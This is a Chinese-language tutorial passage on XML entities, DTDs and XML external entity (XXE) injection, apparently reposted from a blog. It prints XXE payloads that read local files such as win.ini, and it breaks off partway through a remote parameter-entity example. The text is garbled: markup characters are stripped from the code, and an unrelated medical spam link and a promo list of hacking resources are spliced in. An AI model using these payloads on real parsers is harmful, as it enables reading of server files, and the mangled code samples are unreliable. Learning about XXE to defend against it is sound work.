网络安全什么是XXE从0到1完全掌握

知名研究白癜风专家 http://pf.39.net/bdfyy/dbfzl/171218/5941745.html

前置知识XML定义实体

XML实体允许定义在分析XML文档时将由内容替换的标记,这里我的理解就是定义变量,然后赋值的意思一致。就比如一些文件上传的payload中就会有。

XML文档有自己的一个格式规范,这个格式规范是由一个叫做DTD(documenttypedefinition)的东西控制的,他就是长得下面这个样子

?xmlversion="1.0"?//这一行是XML文档定义!DOCTYPEmessage[!ELEMENTmessage(receiver,sender,header,msg)!ELEMENTreceiver(#PCDATA)!ELEMENTsender(#PCDATA)!ELEMENTheader(#PCDATA)!ELEMENTmsg(#PCDATA)

上面这个DTD就定义了XML的根元素是message,然后跟元素下面有一些子元素,那么XML到时候必须像下面这么写

messagereceiverMyself/receiversenderSomeone/senderheaderTheReminder/headermsgThisisanamazingbook/msg/message

而我们必须在DTD中创建一个实体,DTD也就是定义文档类型的文件,一般来说都有!DOCTYPE这种字样。

一旦解析器处理了XML文档,它将用定义的常量“JoSmith”替换定义的实体js

大多数情况下,框架会根据xml结构自动填充Java对象。

通俗一点自己写一段代码的话

示例代码:

?xmlversion="1.0"encoding="ISO--1"?!DOCTYPEfoo[!ELEMENTfooANY!ENTITYxxe"test"]

这里定义元素为ANY说明接受任何元素,但是定义了一个xml的实体(这是我们在这篇文章中第一次看到实体的真面目,实体其实可以看成一个变量,到时候我们可以在XML中通过符号进行引用),那么XML就可以写成这样

示例代码:

credsuserxxe;/userpassmypass/pass/creds

我们使用xxe对上面定义的xxe实体进行了引用,到时候输出的时候xxe就会被"test"替换。

1、网络安全学习路线2、电子书籍(白帽子)3、安全大厂内部视频4、份src文档5、常见安全面试题6、ctf大赛经典题目解析7、全套工具包8、应急响应笔记

什么是XXE

个人认为,XXE可以归结为一句话:构造恶意DTD

介绍XXE之前,我先来说一下普通的XML注入,这个的利用面比较狭窄,如果有的话应该也是逻辑漏洞。

既然能插入XML代码,那我们肯定不能善罢甘休,我们需要更多,于是出现了XXE。

XML外部实体注入,全称为XMLexternalentityinjection,某些应用程序允许XML格式的数据输入和解析,可以通过引入外部实体的方式进行攻击。

我们之前在0x01当中所讲的例子均为内部实体,但是实体实际上可以从外部的dtd文件中引用,我们看下面的代码:示例代码:

?xmlversion="1.0"encoding="ISO--1"?!DOCTYPEfoo[!ELEMENTfooANY!ENTITYxxeSYSTEM"file:///c:/test.dtd"]credsuserxxe;/userpassmypass/pass/creds

这样对引用资源所做的任何更改都会在文档中自动更新,非常方便(方便永远是安全的敌人)

当然,还有一种引用方式是使用引用公用DTD的方法,语法如下:

!DOCTYPE根元素名称PUBLIC“DTD标识名”“公用DTD的URI”

这个在我们的攻击中也可以起到和SYSTEM一样的作用

重点二:

我们上面已经将实体分成了两个派别(内部实体和外部外部),但是实际上从另一个角度看,实体也可以分成两个派别(通用实体和参数实体),别晕。。

1.通用实体

用实体名;引用的实体,他在DTD中定义,在XML文档中引用

示例代码:

?xmlversion="1.0"encoding="utf-8"?!DOCTYPEupdateProfile[!ENTITYfileSYSTEM"file:///c:/windows/win.ini"]updateProfilefirstnameJoe/firstnamelastnamefile;/lastname.../updateProfile

2.参数实体:

(1)使用%实体名(这里面空格不能少)在DTD中定义,并且只能在DTD中使用%实体名;引用(2)只有在DTD文件中,参数实体的声明才能引用其他实体(3)和通用实体一样,参数实体也可以外部引用

示例代码:

!ENTITY%an-element"!ELEMENTmytag(subtag)"!ENTITY%remote-dtdSYSTEM"


转载请注明:http://www.aierlanlan.com/grrz/2246.html

  • 上一篇文章:
  •   
  • 下一篇文章: